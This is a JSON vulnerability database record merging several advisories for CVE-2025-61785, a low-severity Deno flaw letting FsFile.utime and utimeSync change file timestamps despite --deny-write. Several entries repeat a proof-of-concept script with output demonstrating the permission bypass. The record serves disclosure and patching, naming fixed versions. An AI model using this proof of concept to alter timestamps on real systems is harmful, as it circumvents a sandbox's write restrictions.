{"id":"CVE-2025-61785","aliases":["EUVD-2025-31878","GHSA-vg2r-rmgp-cgqj","JLSEC-2026-111"],"status":"published","title":"Deno's --deny-write check does not prevent permission bypass","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.","severity":{"version":"3.0","score":3.3,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00204,"percentile":0.10471,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-266"],"published":"2025-10-07T22:36:36Z","modified":"2026-10-28T02:30:29Z","fixes":[{"ecosystem":"crates.io","package":"deno","fixed_in":["2.5.3"],"sources":["ghsa","osv"]},{"ecosystem":"Julia","package":"Deno_jll","fixed_in":["2.6.3+0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"deno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.3"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.5.3"}]}]},{"source":"osv","ecosystem":"Julia","package":"Deno_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.3+0"}]}]}],"products":[{"vendor":"deno","product":"deno"},{"vendor":"denoland","product":"deno"}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/denoland/deno/pull/30872","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/denoland/deno/releases/tag/v2.2.15","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/denoland/deno/releases/tag/v2.5.3","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61785","tags":["advisory","web"]},{"url":"https://github.com/advisories/GHSA-vg2r-rmgp-cgqj","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/61xxx/CVE-2025-61785.json","tags":["advisory"]},{"url":"https://github.com/denoland/deno","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-61785","title":"Deno's --deny-write check does not prevent permission bypass","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.","status":"published","published":"2025-10-08T00:37:01.869Z","modified":"2025-10-08T18:59:12.863Z","cvss":[{"version":"3.0","score":3.3,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-266"],"updated_at":"2026-11-02T14:32:45.105469Z"}],"euvd":[{"id":"EUVD-2025-31878","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.","status":"published","published":"2025-10-08T00:37:01Z","modified":"2025-10-08T18:59:12Z","cvss":[{"version":"3.0","score":3.3,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"updated_at":"2026-11-02T20:31:34.988595Z"}],"ghsa":[{"id":"GHSA-vg2r-rmgp-cgqj","title":"Deno's --deny-write check does not prevent permission bypass","description":"### Summary\n\n`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.\n\nIt's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).\n\nSimilar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test.txt\n```\n\n```js\n// touch test.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = await file.stat();\n    \n    await file.utime(new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n    \n    const fileInfoAfter = await file.stat();\n    \n    \n    console.log(`BEFORE (utime)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utime)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = file.statSync();\n    \n    file.utimeSync(new Date(\"2001-01-01\"), new Date(\"2001-01-01\"));\n    \n    const fileInfoAfter = file.statSync();\n    \n    \n    console.log(`BEFORE (utimeSync)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utimeSync)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3\nasync function poc3(){\n    // not executed\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4\nfunction poc4(){\n    // not executed\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"write\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\nOutput:\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utime)\n2025\n2025\nAFTER (utime)\n2000\n2000\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utimeSync)\n2000\n2000\nAFTER (utimeSync)\n2001\n2001\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n               ^\n    ...\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n         ^\n    ...\n```\n\n\n### Impact\n\nPermission model bypass","status":"published","published":"2025-10-07T22:36:36Z","modified":"2025-10-13T15:17:43Z","cvss":[{"version":"3.0","score":3.3,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-266"],"updated_at":"2026-11-02T14:39:00.807341Z"}],"nvd":[{"id":"CVE-2025-61785","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.","status":"published","published":"2025-10-08T01:15:32.847Z","modified":"2026-10-08T13:10:00.2Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low","assessor":"primary"},{"version":"3.0","score":3.3,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low","assessor":"secondary"}],"cwes":["CWE-266"],"updated_at":"2026-11-02T14:11:35.93863Z"}],"osv":[{"id":"CVE-2025-61785","title":"Deno's --deny-write check does not prevent permission bypass","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.","status":"published","published":"2025-10-08T00:37:01.869Z","modified":"2026-10-28T02:30:29.218868929Z","cvss":[{"version":"3.0","score":3.3,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-266"],"updated_at":"2026-11-02T15:44:51.516975Z"},{"id":"GHSA-vg2r-rmgp-cgqj","title":"Deno's --deny-write check does not prevent permission bypass","description":"### Summary\n\n`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.\n\nIt's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).\n\nSimilar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test.txt\n```\n\n```js\n// touch test.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = await file.stat();\n    \n    await file.utime(new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n    \n    const fileInfoAfter = await file.stat();\n    \n    \n    console.log(`BEFORE (utime)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utime)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = file.statSync();\n    \n    file.utimeSync(new Date(\"2001-01-01\"), new Date(\"2001-01-01\"));\n    \n    const fileInfoAfter = file.statSync();\n    \n    \n    console.log(`BEFORE (utimeSync)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utimeSync)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3\nasync function poc3(){\n    // not executed\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4\nfunction poc4(){\n    // not executed\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"write\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\nOutput:\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utime)\n2025\n2025\nAFTER (utime)\n2000\n2000\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utimeSync)\n2000\n2000\nAFTER (utimeSync)\n2001\n2001\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n               ^\n    ...\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n         ^\n    ...\n```\n\n\n### Impact\n\nPermission model bypass","status":"published","published":"2025-10-07T22:36:36Z","modified":"2025-10-13T15:17:42Z","cvss":[{"version":"3.0","score":3.3,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-266"],"updated_at":"2026-11-02T15:46:57.348035Z"},{"id":"JLSEC-2026-111","title":"Deno's --deny-write check does not prevent permission bypass","description":"### Summary\n\n`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.\n\nIt's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).\n\nSimilar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test.txt\n```\n\n```js\n// touch test.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = await file.stat();\n    \n    await file.utime(new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n    \n    const fileInfoAfter = await file.stat();\n    \n    \n    console.log(`BEFORE (utime)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utime)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = file.statSync();\n    \n    file.utimeSync(new Date(\"2001-01-01\"), new Date(\"2001-01-01\"));\n    \n    const fileInfoAfter = file.statSync();\n    \n    \n    console.log(`BEFORE (utimeSync)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utimeSync)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3\nasync function poc3(){\n    // not executed\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4\nfunction poc4(){\n    // not executed\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"write\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\nOutput:\n\n  - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1`\n\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utime)\n2025\n2025\nAFTER (utime)\n2000\n2000\n```\n\n  - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2`\n\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utimeSync)\n2000\n2000\nAFTER (utimeSync)\n2001\n2001\n```\n\n  - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3`\n\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n               ^\n    ...\n```\n\n  - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4`\n\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n         ^\n    ...\n```\n\n### Impact\n\nPermission model bypass","status":"published","published":"2026-04-14T13:10:46.494Z","modified":"2026-07-18T00:01:28.463945726Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"low"}],"updated_at":"2026-11-02T15:47:18.159338Z"}]}}